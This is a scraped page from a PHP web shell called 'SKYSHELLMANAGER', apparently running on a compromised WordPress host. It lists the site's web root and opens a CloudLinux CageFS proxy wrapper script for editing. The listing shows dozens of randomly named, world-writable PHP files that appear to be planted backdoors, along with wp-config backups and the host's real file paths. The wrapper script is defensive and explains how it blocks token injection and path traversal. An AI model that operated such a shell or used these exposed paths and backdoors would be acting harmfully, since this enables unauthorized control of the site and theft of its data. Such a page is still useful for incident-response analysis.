ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.0.30

Path:root/home/aljabrcp/public_html/

Name	Size	Perm	Actions
📁 .render-cache	-	0755	🗑️ 🏷️
📁 .tmb	-	0777	🗑️ 🏷️
📁 .well-known	-	0755	🗑️ 🏷️
📁 e4b5c3	-	0755	🗑️ 🏷️
📁 well-known	-	0755	🗑️ 🏷️
📁 wp-admin	-	0755	🗑️ 🏷️
📁 wp-content	-	0755	🗑️ 🏷️
📁 wp-includes	-	0755	🗑️ 🏷️
📄 .072335799904244.php	0.73 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 .303133550574645.php	0.73 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 .771565434277360.php	0.72 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 .ftpquota	0.02 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 .htaccess	0.06 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 .htaccess_old	2.38 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 .maintenance	0.03 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 .render-orig.php	0.4 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 admin.php	1073.33 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 ajyycson.php	18.36 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 bjspsdnw.php	18.36 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 btxouxnz.php	18.36 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 byobdpit.php	161.75 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 dot.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 dtypulkn.php	18.48 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 error_log	1.32 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 fdkvhqgp.php	18.36 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 features.php	9.84 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 fiouvmwk.php	18.51 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 gkliwelb.php	19.47 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 hhxpypnm.php	18.48 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 ichqcdtz.php	18.48 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 iggrnuqs.php	1073.33 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 ijigqafs.php	215.7 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 ilkifkhe.php	18.48 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 index.php	0.08 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 japeqpqk.php	18.55 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 kxkjgars.php	14.76 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 legcmbtx.php	161.75 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 license.txt	19.44 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 lufix.php	53.27 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 mdlyonrh.php	161.75 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 memkgrwi.php	18.55 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 min.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 mlqeheok.php	35.6 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 mmkegijm.php	18.5 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 mqbfmtzr.php	14.76 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 nkuxvifp.php	18.56 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 ocngdtip.php	18.55 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 ops.php	31 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 options.php	1.29 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 php.ini	0.1 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 pjqgidra.php	19.54 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 qpggioxw.php	14.76 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 readme.html	7.23 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 robots.txt	0.35 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 rpudqgij.php	15.4 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 tvuydrna.php	18.36 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 uymbqzzs.php	215.7 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 vxbezeuh.php	15.4 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 vxeskmxs.php	19.54 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 wp-activate.php	7.2 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 wp-blog-header.php	0.34 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 wp-comments-post.php	2.27 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config-sample.php	3.26 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config.php	3.31 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config.php.bak	3.31 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config.php.before-debug	3.31 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config.php.before-debug.2026-06-26-151429	3.31 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config.php.before-debug.2026-06-26-151542	3.26 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config.php.broken.2026-06-26-152109	3.27 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config.php.broken.2026-06-26-152153	3.27 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config.php.broken.2026-06-26-152623	3.27 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 wp-cron.php	5.49 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 wp-links-opml.php	2.43 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 wp-load.php	3.84 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 wp-mail.php	8.52 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 wp-server.php	162 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 wp-settings.php	31.88 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 wp-signup.php	33.81 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 wp-trackback.php	5.09 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 wpxml.php	12.37 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 xmlrpc.php	3.13 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 xyn.php	5.65 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 ydrqjvyq.php	18.51 KB	0777	🗑️ 🏷️ ⬇️ ✏️
📄 zwmxmsbj.php	215.7 KB	0777	🗑️ 🏷️ ⬇️ ✏️

Edit: cxs

#!/bin/bash
##CageFS proxyexec wrapper - ver 18

if [[ $EUID -eq 0 ]]; then
    echo 'Cannot be run as root'
    exit 1
fi

USR=`/usr/bin/whoami`
USER_TOKEN_PATH="/var/.cagefs/.cagefs.token"
WEBSITE_ISOLATION_FLAG="/opt/cloudlinux/flags/enabled-flags.d/website-isolation.flag"
# Trust boundary for the website-isolation token path: it must point
# directly at the regular file that create_website_token_directory()
# creates inside its root-owned per-user storage area. That area is
# /var/cagefs/<prefix>/<user>/.cagefs/website/... on the host and is
# bind-mounted into the cage at /var/.cagefs/website/... — both views
# are accepted because libenter.enter_site() picks one or the other
# depending on whether it runs inside or outside the cage. The file
# itself is never a symlink, so we reject symlinks outright rather
# than canonicalizing with realpath. Without this gate the attacker
# controls both the env var WEBSITE_TOKEN_PATH and the file contents
# at that path; the file contents land in $TOKEN, which is embedded
# into the ssh remote command argv below and re-parsed by the remote
# shell — so shell metacharacters in the file would execute on the
# origin host. (Slite #7 / CLOS-4490)
if [[ -f "$WEBSITE_ISOLATION_FLAG" && -n "$WEBSITE_TOKEN_PATH" ]]; then
    if [[ -L "$WEBSITE_TOKEN_PATH" ]]; then
        echo "cagefs.proxy: WEBSITE_TOKEN_PATH '$WEBSITE_TOKEN_PATH' must not be a symlink" >&2
        exit 1
    fi
    if [[ ! -f "$WEBSITE_TOKEN_PATH" ]]; then
        echo "cagefs.proxy: WEBSITE_TOKEN_PATH '$WEBSITE_TOKEN_PATH' is not an existing regular file" >&2
        exit 1
    fi
    # Reject `..` as a path component so the prefix check below cannot
    # be bypassed via traversal (e.g. /var/cagefs/../etc/passwd matches
    # the /var/cagefs/* glob but resolves outside the trusted area).
    case "$WEBSITE_TOKEN_PATH" in
        */../*|*/..)
            echo "cagefs.proxy: WEBSITE_TOKEN_PATH '$WEBSITE_TOKEN_PATH' must not contain '..' path components" >&2
            exit 1
            ;;
    esac
    case "$WEBSITE_TOKEN_PATH" in
        /var/cagefs/*|/var/.cagefs/*) ;;
        *)
            echo "cagefs.proxy: WEBSITE_TOKEN_PATH must be under /var/cagefs/ or /var/.cagefs/ (got '$WEBSITE_TOKEN_PATH')" >&2
            exit 1
            ;;
    esac
    USER_TOKEN_PATH="$WEBSITE_TOKEN_PATH"
fi
# The -L/-f/prefix gate above is defense-in-depth, TOCTOU is not exploitable because the
# forwarded $TOKEN must still equal the legit on-disk bytes that the
# origin's cagefs.server reads with open(..., O_NOFOLLOW) from a
# uid-derived path (see find_website_by_token() in
# proxyexec/cagefs.server.c) — a swapped symlink redirects what we
# cat, never what the server reads, so a TOCTOU substitution can only
# replace the forwarded bytes with something that fails the server's
# constant-time comparison.
TOKEN=`/bin/cat ${USER_TOKEN_PATH}`
# Tokens are generated as fixed-length alphanumerics by
# _generate_password() in py/clcagefslib/webisolation/jail_utils.py and
# by the corresponding C helper. Any non-alphanumeric byte means the
# token file was tampered with — refuse to forward it into the ssh
# remote command, where the remote shell would re-parse metacharacters.
# Use POSIX `case` rather than `[[ =~ ]]` because the wrapper is also
# invoked through `sh` (e.g. jenkins_tests/rpm_tests/p_cagefs/
# 939-environment_var-check.sh), and dash treats `[[` as a missing
# command — the regex form would falsely trip and exit the script.
case "$TOKEN" in
    "" | *[!A-Za-z0-9]*)
        echo "cagefs.proxy: refusing to forward malformed token from $USER_TOKEN_PATH" >&2
        exit 1
        ;;
esac
# It's user's tmp directory and write to it is secure procedure
# because this script is running only under usual user
PIDFILE="/tmp/.cagefs.proxy.$$"
USER_INTERRUPT=13
CWD=`pwd`

ctrl_c_handler() {
    if [[ -f "$PIDFILE" ]]; then
        pid=`/bin/cat $PIDFILE`
        /bin/rm -f $PIDFILE > /dev/null 2>&1
        /bin/kill -s SIGINT "$pid" > /dev/null 2>&1
    fi
    exit $USER_INTERRUPT
}

if [[ -e /var/.cagefs/origin ]]; then
    ORIGIN=`/bin/cat /var/.cagefs/origin`
    REMOTE="/usr/bin/ssh -F /etc/ssh/cagefs-rexec_config $USR@$ORIGIN"
    $REMOTE CAGEFS_TOKEN="$TOKEN" /usr/sbin/proxyexec -c cagefs.sock "$USR" "$CWD" CXS $$ "$@"
    RETVAL=$?
else
    trap 'ctrl_c_handler' 2
    CAGEFS_TOKEN="$TOKEN" /usr/sbin/proxyexec -c cagefs.sock "$USR" "$CWD" CXS $$ "$@"
    RETVAL=$?
    /bin/rm -f $PIDFILE > /dev/null 2>&1
fi

exit $RETVAL

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.0.30

Edit: cxs

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.0.30